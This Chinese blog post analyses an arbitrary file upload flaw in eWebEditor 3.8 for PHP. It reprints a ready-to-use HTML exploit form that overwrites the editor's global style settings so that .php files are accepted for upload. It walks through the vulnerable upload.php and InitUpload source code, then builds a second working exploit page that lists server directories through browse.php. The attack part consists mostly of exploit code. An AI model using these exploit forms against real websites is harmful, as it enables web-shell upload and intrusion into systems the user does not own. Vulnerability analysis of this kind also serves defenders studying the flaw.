- 浏览: 631132 次
- 性别:
- 来自: 西安
文章分类
最新评论
-
d1438138:
[img][/img]
google api 的一些神奇使用 -
waykingeye:
[i][b][u]引用[list]
[*][img][url] ...
No result defined for action and result input -
tss0823:
...
No result defined for action and result input -
yahier:
有什么办法能够捕捉,然后给出自定义的提示呢
No result defined for action and result input -
chen_lian:
恩恩 按照上面的代码测试一下觉得很对
java创建目录
首先这个是别人早都发出来的一个漏洞,exp也写好了,如下
<title>eWebeditoR3.8 for php任意文件上EXP</title> <form action="" method=post enctype="multipart/form-data"> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> URL:<input type=text name=url value="http://localhost:81/" size=100><br> <INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile1/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> file:<input type=file name="uploadfile"><br> <input type=button value=submit onclick=fsubmit()> </form><br> <script> function fsubmit(){ form = document.forms[0]; form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en'; alert(form.action); form.submit(); } </script>
这是一个任意文件上传漏洞,目标版本是eWebEditor 3.8 for php ,不过估计asp应该也有类似的问题,具体的解析思路是:
首先一个网页编辑器,无论是fck,ewebeditor 或者kindeditor之类的,都爆出过上传漏洞,那么找文件上传漏洞的思路应该是先下载对应版本的编辑器,自己把环境搭起来,然后开始找文件上传点,3.8据说还有个cookie的验证不严格的漏洞,不过我看了下没发现,估计我看的是修正过的版本,
文文件上传很直接的我们就定位到了admin/upload.php,不过很可惜在文件头就发现了
require("private.php");这个,这意味着这个upload.php我们几乎无法使用的。
但是继续往下看,我们翻到别的目录发现了php这个目录,而这个目录中,共有3各有意义的文件,个个都非常重要
1. config.php一个类似数据库存储的文件,中间保存了用户名密码,以及一些样式
2.browse.php 是一个用来查看文件夹路径的php,最重要的是他们有检查用户登录与否
3.upload.php 这就是一个上传的页面,同样也没有检查用户
我们首先关注upload.php这个文件,这也是这个exp的处理的地方
<?php require("config.php"); InitUpload(); if (isset($_GET["action"])){ $sAction = strtoupper($_GET["action"]); }else{ $sAction = ""; } switch ($sAction){ case "REMOTE": DoCreateNewDir(); DoRemote(); break; case "SAVE": ShowForm(); DoCreateNewDir(); DoSave(); break; default: ShowForm(); break; }
明显在这个文件一开始就有一个InitUpload(); 的存在
function InitUpload(){ global $sType, $sStyleName, $sLanguage; global $sAllowExt, $nAllowSize, $sUploadDir, $nUploadObject, $nAutoDir, $sBaseUrl, $sContentPath; global $sFileExt, $sOriginalFileName, $sSaveFileName, $sPathFileName, $nFileNum; global $nSLTFlag, $nSLTMinSize, $nSLTOkSize, $nSYFlag, $sSYText, $sSYFontColor, $nSYFontSize, $sSYFontName, $sSYPicPath, $nSLTSYObject, $sSLTSYExt, $nSYMinSize, $sSYShadowColor, $nSYShadowOffset; $sType = toTrim("type"); $sStyleName = toTrim("style"); $sLanguage = toTrim("language"); $bValidStyle = false; $numElements = count($GLOBALS["aStyle"]); for($i=1; $i<=$numElements; $i++){ $aStyleConfig = explode("|||", $GLOBALS["aStyle"][$i]); if (strtolower($sStyleName)==strtolower($aStyleConfig[0])){ $bValidStyle = true; break; } } if ($bValidStyle == false) { OutScript("parent.UploadError('lang[\"ErrInvalidStyle\"]')"); } $sBaseUrl = $aStyleConfig[19]; $nUploadObject = (int)$aStyleConfig[20]; $nAutoDir = (int)$aStyleConfig[21]; $sUploadDir = $aStyleConfig[3]; if (substr($sUploadDir, 0, 1) != "/"){ $sUploadDir = "../".$sUploadDir; } switch ($sBaseUrl){ case "0": $sContentPath = $aStyleConfig[23]; break; case "1": $sContentPath = RelativePath2RootPath($sUploadDir); break; case "2": $sContentPath = RootPath2DomainPath(RelativePath2RootPath($sUploadDir)); break; } switch (strtoupper($sType)){ case "REMOTE": $sAllowExt = $aStyleConfig[10]; $nAllowSize = (int)$aStyleConfig[15]; break; case "FILE": $sAllowExt = $aStyleConfig[6]; $nAllowSize = (int)$aStyleConfig[11]; break; case "MEDIA": $sAllowExt = $aStyleConfig[9]; $nAllowSize = (int)$aStyleConfig[14]; break; case "FLASH": $sAllowExt = $aStyleConfig[7]; $nAllowSize = (int)$aStyleConfig[12]; break; default: $sAllowExt = $aStyleConfig[8]; $nAllowSize = (int)$aStyleConfig[13]; break; } $sAllowExt = strtoupper($sAllowExt); $nSLTFlag = (int)$aStyleConfig[29]; $nSLTMinSize = (int)$aStyleConfig[30]; $nSLTOkSize = (int)$aStyleConfig[31]; $nSYFlag = (int)$aStyleConfig[32]; $sSYText = $aStyleConfig[33]; $sSYFontColor = $aStyleConfig[34]; $nSYFontSize = (int)$aStyleConfig[35]; $sSYFontName = $aStyleConfig[36]; $sSYPicPath = $aStyleConfig[37]; $nSLTSYObject = (int)$aStyleConfig[38]; $sSLTSYExt = $aStyleConfig[39]; $nSYMinSize = (int)$aStyleConfig[40]; $sSYShadowColor = $aStyleConfig[41]; $nSYShadowOffset = (int)$aStyleConfig[42]; }
这个方法由于采用了全局变量设置,可以被用户提交的变量所覆盖,他的原意是通过config.php得到这些初始参数的,这就是漏洞所在,而我们通过观察config.php可得知原始样式表共有11个,所以就理解了exp中的样式表为aStyle[12]的原因了,
然后通过自己修改了下已有的astyle,其中添加允许上传为php,基本上漏洞就算利用好了
同样的理论,我们去观察这个目录下剩余的
browse.php
而且此时我们发现别人写的exp存在着一个很奇怪的问题,在config.php中,我们可以看到
一项一共有43项,而别人提供的exp只有42项,而其中着关键最后一项在browse.php中有着大作用,我觉得这个exp可能是故意漏掉了这个关键的一个,
$sAllowBrowse = $aStyleConfig[43];
分析ewebeditor browse.php可以采用和upload.php相同的手法覆盖掉config.php,然后在browse。php中我们可以看到
$sUploadDir = $aStyleConfig[3];
所以我们构造的时候可以选择sUploadDir=空,dir=空
$sDir = toTrim("dir"); if ($sDir != "") { if (is_dir($sUploadDir.$sDir)) { $sCurrDir = $sUploadDir.$sDir."/"; }else{ $sDir = ""; } }
但是由于
switch (strtoupper($sType)){ case "FILE": $sAllowExt = ""; break; case "MEDIA": $sAllowExt = "rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov"; break; case "FLASH": $sAllowExt = "swf"; break; default: $sAllowExt = "bmp|jpg|jpeg|png|gif"; break; }
这个的存在,使得最终列文件效果无法列出php和asp等,不过爆目录效果还是可以的
最终生成的browse.html
<title>eWebeditoR3.8 for php查看文件目录</title> <form action="" method=post enctype="multipart/form-data"> URL:<input type=text name=url value="http://localhost:81/" size=100><br> DIR:<input type=text name=dir value="" size=100><br> <INPUT TYPE="hidden" name="aStyle[12]" value="ice|||gray|||red||||||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|php|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1"> <input type=button value=submit onclick=fsubmit()> </form><br> <script> function fsubmit(){ form = document.forms[0]; form.action = form.url.value+'php/browse.php?style=ice&dir='+form.dir.value; alert(form.action); form.submit(); } </script>
使用后,会弹出新的页面,查看页面源代码就可以得到目录列表和少量图片文件了
发表评论
-
metasploit 图形化界面和自动化exploit脚本
2013-10-21 16:25 77590x01 最新版的metasploit没了图形化界面, ... -
APKTool签名的一个问题
2013-10-14 21:19 25180x01 昨天写了反编译,今天就写下签名的问题 0 ... -
APKTool打包的一个小问题
2013-10-13 20:23 248230x01,又开始写blog了,好久没有网络了,最近终于可以开 ... -
struts2远程执行漏洞学习(四)
2013-05-23 00:12 23410x01 最近又有了一个新的struts2漏洞,http:/ ... -
CVE-2013-1493 学习
2013-03-25 16:06 30000x01 这个又是一个java CVE,效果前几个一样, ... -
CVE-2013-0422 分析2
2013-01-11 23:47 34980x01 http://wcf1987.iteye.c ... -
CVE-2013-0422 学习
2013-01-11 16:26 41630x01 这个是这两天爆出来的,我构建了一个本地测试代码,主 ... -
CVE 2012 0507 分析
2012-12-17 16:00 35680x01 https://github.com/wche ... -
android 无权限 伪造短信
2012-11-06 09:15 35760x01 这个有是大名鼎鼎的蒋教授发现的,原理简单,有点意思 ... -
A new way to hack android app info
2012-11-06 01:04 1663最近新研究了一种android攻击手段,blog发到团队那里的 ... -
一次被黑追凶(未完待续)
2012-10-15 19:52 25100x01,某天师妹告诉我们某台服务器疑似被人干掉了,我果断远程 ... -
python 反编译 pyc 一些心得
2012-09-06 10:59 538310x01 , 现在用python的人也多了起来,代码安全始终是 ... -
关于web渗透中得一些记录
2012-08-24 23:31 36161. 当得到linux root shell时 ... -
mail xss
2012-08-11 21:57 17121 最近迷上了xss,感觉各种飘逸,特别是http://www ... -
XSS学习二
2012-07-31 15:48 12651.xss学习到今天算是告一个段落了,发现了一个sohu邮箱 ... -
我的sinaapp
2012-07-27 22:10 1276我的sinapp小家终于成型了 http://icefish ... -
phpcms v9的补充
2012-07-25 21:28 1203前一篇留了个疑问: 为什么 file_get_conten ... -
phpcms v9 爆密码
2012-07-25 20:47 70901.首先是http://www.wooyun.org/b ... -
xss漏洞及其他-学习笔记
2012-07-23 17:05 1532http://www.wooyun.org/bugs/wooy ... -
最近接触的几个技术随笔
2012-07-13 14:04 13911.IIS短文件和文件夹泄漏漏洞 这个漏洞具体可以看核 ...
相关推荐
**图片上传功能** 是ewebeditor 3.8 的一个重要特点。这个功能使得用户可以在编辑器中直接选择本地图片并上传至服务器,然后在编辑的内容中插入该图片的链接。这简化了内容创作流程,尤其是对于需要频繁插入图片的...
- eWebEditor 3.8 for PHP 可以轻松地整合到PHP驱动的网站中,只需简单地将编辑器的JavaScript和PHP文件上传到服务器,并在需要的地方调用相应的API即可。 - 可能包含一个名为`adminzx`的文件或目录,这通常代表...
1. **安装配置**:将eWebEditor上传至服务器,根据ASP或PHP环境进行相应的配置。 2. **数据库连接**:如果需要存储用户编辑的内容,需要配置数据库连接参数。 3. **调用编辑器**:在网页中通过JavaScript或服务器端...
eWebEditor 2.1.6 asp版 上传漏洞利用程序 eWebEditor 2.1.6 asp版 上传漏洞利用程序 eWebEditor 2.1.6 asp版 上传漏洞利用程序
6. 修复ASP版无组件上传方法,部分中文名无法上传及文件大于设置值时无响应的问题 7. 修复ASP版图片水印可能不能使用的问题 8. 修复段落属性对话框中单字间距使用了没有效果的问题 9. 修复繁体语言包编码错误的...
修复ASP版无组件上传方法,部分中文名无法上传及文件大于设置值时无响应的问题 7. 修复ASP版图片水印可能不能使用的问题 8. 修复段落属性对话框中单字间距使用了没有效果的问题 9. 修复繁体语言包编码错误...
6. 修复ASP版无组件上传方法,部分中文名无法上传及文件大于设置值时无响应的问题 7. 修复ASP版图片水印可能不能使用的问题 8. 修复段落属性对话框中单字间距使用了没有效果的问题 9. 修复繁体语言包编码错误的问题 ...
ewebeditor asp版 2.1.6 上传漏洞利用程序.htm
1. **FCKeditor编辑器漏洞**:FCKeditor是一款广泛使用的网页文本编辑器,但历史上曾出现过漏洞,允许攻击者通过编辑器上传恶意文件,从而可能执行任意代码。这种漏洞通常源于编辑器对上传文件类型的检查不足或解析...
**eWebEditor For PHP v3.8:在线HTML编辑器详解** eWebEditor是一款功能强大的基于PHP的在线HTML编辑器,...通过解压并安装提供的“eWebEditor For PHP v3.8”文件,你可以立即开始体验这款强大的编辑器带来的便利。
文件 I.JS// eWebEditor 7.0 设置文件 文件 upload.asp//上传文件,不提供上传,就把文件名修改其它名或者删除 文件 upfileclass.asp//上传文件 文件 browse.asp//浏览上传文件 目录 sharefile 目录 ...
3. **文件上传漏洞**:EwebEditor允许用户上传图片和其他文件,如果服务器端验证不严,攻击者可能上传恶意文件,如病毒、木马,或者利用此漏洞执行远程命令。 4. **权限控制漏洞**:EwebEditor可能会出现权限控制...
太子黑盟最新ewebeditor asp版 上传漏洞利用工具.rar
eWebEditor兼容chrome目录 ASP 文件 I.JS // eWebEditor 7.0 设置文件 文件 upload.asp //上传文件,不提供上传,就把文件名修改其它名或者删除 文件 upfile_class.asp //上传文件 文件 browse.asp
- EWebEditor 4.0 版本:相对于3.8版本,4.0可能引入了更多的增强特性,比如更多的预设样式、图片上传功能、表格编辑工具等,提高了用户体验。 - EWebEditor 4.4 版本:此版本可能进一步优化了性能和稳定性,增加...
《ewebeditor 7.3:一款支持上传的静态版编辑器详解》 ewebeditor 7.3 是一个强大的富文本编辑器,专为网页内容编辑设计,它以其易于使用和丰富的功能集赢得了广大用户的青睐。这个版本的显著特点是支持上传功能,...
把eWebEditor7文件夹放入网站根目录,本eWebEditor 7.0支持上传,无后门放心使用。 目录 ASP 文件 I.JS // eWebEditor 7.0 设置文件 文件 upload.asp //上传文件,不提供上传,就把文件名修改其它名或者删除 文件...
说明: 把eWebEditor7文件夹放入网站根目录,本...其实官方也有直接调用EWEBeditor上传类,是很多网友不懂。 注:本次发布eWebEditor 7.3.0 上传版,希望不要太多骂声。功能有点限制,有经济的朋友请支持正版。